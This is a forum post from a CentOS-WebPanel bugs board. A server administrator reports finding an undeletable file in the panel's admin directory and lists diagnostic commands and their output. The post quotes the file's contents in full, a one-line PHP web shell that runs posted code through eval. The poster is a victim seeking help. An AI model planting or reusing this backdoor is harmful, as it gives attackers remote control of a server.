Topics

1

CentOS-WebPanel Bugs / Cannot Delete File

« on: July 17, 2025, 12:18:47 AM »

On my server running CWP, I recently found a file located in `/usr/local/cwpsrv/htdocs/admin/admin` called `error.php` that just has the contents `<?php @eval($_POST['shell']);?>` (very concerning).

Code: [Select]

whoami returns `root`.

Code: [Select]

rm -rf error.phpreturns “Permission denied.”

Code: [Select]

lsattr error.php returns `-------------e-- error.php`.

Code: [Select]

getfacl error.php returns:
```
# file: error.php
# owner: root
# group: root
user::rwx
group::r-x
other::r-x
```

Code: [Select]

mount | grep "$(df error.php | tail -1 | awk '{print $1}')" Returns:

`/dev/mapper/centos_centos7-root on / type ext4 (rw,relatime,data=ordered)`

This file was obviously not included with the standard cwpsrv files. What else can I do to delete this file?